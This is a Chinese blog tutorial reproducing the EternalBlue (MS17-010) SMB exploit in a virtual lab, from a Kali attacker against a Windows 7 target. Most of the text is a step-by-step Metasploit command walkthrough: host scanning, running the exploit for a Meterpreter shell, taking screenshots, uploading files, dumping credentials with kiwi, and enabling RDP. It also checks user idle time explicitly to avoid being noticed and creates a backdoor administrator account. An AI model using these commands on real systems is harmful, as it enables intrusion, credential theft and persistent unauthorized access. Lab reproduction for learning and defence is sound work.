明国三年一场雨

明国三年一场雨

热爱技术分享
telegram
email

Kali--MSF-永恒之蓝详解(复现、演示、远程、后门、加壳、修复)

一、永恒之蓝概述
永恒之蓝(Eternal Blue)爆发于 2017 年 4 月 14 日晚,是一种利用 Windows 系统的 SMB 协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于 2017 年 5 月 12 日, 不法分子通过改造 “永恒之蓝” 制作了 wannacry 程序,使全世界大范围内遭受了该程序,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。但不过在该程序出来不久就被微软通过打补丁修复了。

二、SMB 协议
SMB(Server Message Block)是一个协议服务器信息块,它是一种客户机 / 服务器、请求 / 响应协议,通过 SMB 协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠 SMB 实现的;SMB 协议工作在应用层和会话层,可以用在 TCP/IP 协议之上,SMB 使用 TCP139 端口和 TCP445 端口。

三、准备工作
虚拟机:VMware
靶机:Windows 7 (IP:192.168.184.138) 镜像下载 https://msdn.itellyou.cn/
攻击机:Kali (IP:192.168.184.130)
工具:Kali 中的 nmap metasploit (MSF)
四、漏洞复现
1、主机发现
a. 前提 win7 关闭防火墙

不关闭防火墙有可能 nmap 扫描不到其端口,MSF 利用不了永恒之蓝漏洞。

e23cdf6b9ef8483dbaab85280976b2d8

可以 ipconfig ifconfig 分别查看 win7 和 kali 中的 ip 地址:

win7

48a16ab60d3542bf84786264db100530

46eb54d6f0ea4f4b98a85a6c549d1a8f

2. 用 kali 中的 nmap 扫描网段做主机发现

IP 地址:<网络号>+< 主机号 >

8de5ec95fc724470b7bef85661bc6a25

4b4ae4984c224383918639575ade095a

A 类:10.0.0.0~10.255.255.255

B 类:172.16.0.0~173.31.255.255

C 类:192.168.0.0~192.168.255.255

/24 就是代表 24 个 1,即子网掩码为 255.255.255.0

192.168.184.0/24 “/” 后面的数字控制前面 ip 地址的掩码,以表示后面有几位可以变

nmap -sP 192.168.184.0/24  #sP(ping扫描)

3. 用 kali 中的 metasploit (MSF) 做主机发现

msfconsole                                 //启动MSF
use auxiliary/scanner/discovery/arp_sweep  //use使用模块
set rhosts 192.168.184.0/24   //设置扫描网段
set threads 50             //提高线程
run                        //运行

MSF 搜索永恒之蓝的漏洞 输入 search ms17-010 (微软 永恒之蓝编号 ms17-010)

8f84118572c44dccbe8c72bc34a800fa

  1. blue 就是永恒之蓝的漏洞

  2. psexec 是可利用的一个 javascripe(JS)的一个模块

  3. command 是运行 cmd 的

  4. 最后一个是探测的模块

a. 我们先利用探测的模块看一下我们的这台 win7 有没有可能存在漏洞。

use exploit/windows/smb/ms17_010_eternalblue
show options 
set rhosts 192.168.184.138
exploit/run

ddbdc3fe73cd43ffacde905d7542aeae

3dfa57568df044f8ac84451816afa5da

f5d8bd05408245419f687026820fafc2

运行成功会出现 meterpreter >
Meterpreter 是 Metasploit 的一个扩展模块,可以调用 Metasploit 的一些功能,
对目标系统进行更深入的渗透,如进入 cmd、获取屏幕、上传 / 下载文件、创建持久后门等。

meterpreter > shell
chcp 65001  //转换一下编码 要不然会乱码
ipconfig  #查看ip
whoami    #查看当前用户名称

2. 捕获屏幕

meterpreter > screenshot   #屏幕截图

3493fa2eeaab4206aa4f52f01c85e297

3. 上传文件

meterpreter > upload user.txt c://

cde448f0dc1a406fa3761972a95471ab

5. 远程登录
kiwi 模块查看密码:

使用 kiwi 模块需要 system 管理员权限:

meterpreter > load kiwi //加载kiwi模块
Loading extension kiwi...Success.
creds_all  #列举所有凭据
exit   #退出

62116dcd7485412c9ee980ac048777bb

MSF 启动目标机的 3389 端口

windows 远程连接默认是不允许连接的:

a31c8778455c4fcb81ebf5d319142ab3

我们总不能手动在 win7 上允许远程连接吧,这样我们怎么能算得上 Hacker 呢,哈哈哈...

启动 win7 的 3389 端口即远程桌面协议,执行远程链接命令:

meterpreter > run post/windows/manage/enable_rdp  //启用目标主机的3389端口远程桌面
meterpreter > idletime  //查看远程用户的空闲时长,空闲时间长再进行远程登陆,减小被发现的风险。

f4d49ffad874458cbc72278a9334fe3a

c9008e1a7aa34328a053c8a32c5e2cc3

04d631dfda364caeabe7c0ba4b947a09

root@kali:~# rdesktop 192.168.184.138  //使用 rdesktop 命令远程连接桌面

由于这样我们远程登录 win7 用户,在 win7 会把用户 k 顶下去:
创建用户:

所以我们要创建一个新用户用来登录:

meterpreter > shell            #进入命令行
net user kill 123 /add         #新建用户kill 密码123
net  localgroup  administrators kill /add #将用户kill添加到Win7的本地管理员组中,获得管理员权限
net user               #查看用户

root@kali:~# rdesktop 192.168.184.138  //使用 rdesktop 命令远程连接桌面
加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。